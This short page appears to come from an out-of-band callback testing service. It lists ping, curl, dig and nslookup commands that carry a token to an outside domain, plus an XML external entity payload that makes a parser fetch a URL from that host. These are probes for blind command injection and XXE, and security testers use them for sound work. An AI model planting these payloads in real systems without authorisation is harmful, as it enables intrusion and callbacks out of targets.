$ ping -c1 -p 008e82d3c8e0eee95260ae261af79500 unhack.ca
 
$ curl http://unhack.ca/p/8e82d3c8e0eee95260ae261af795
 
$ dig 8e82d3c8e0eee95260ae261af795 @unhack.ca
 
$ dig 8e82d3c8e0eee95260ae261af795.ns.unhack.ca
 
C:\> nslookup 8e82d3c8e0eee95260ae261af795 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8e82d3c8e0eee95260ae261af795">]>
    <foo>&xxe;</foo>
Waiting for ping...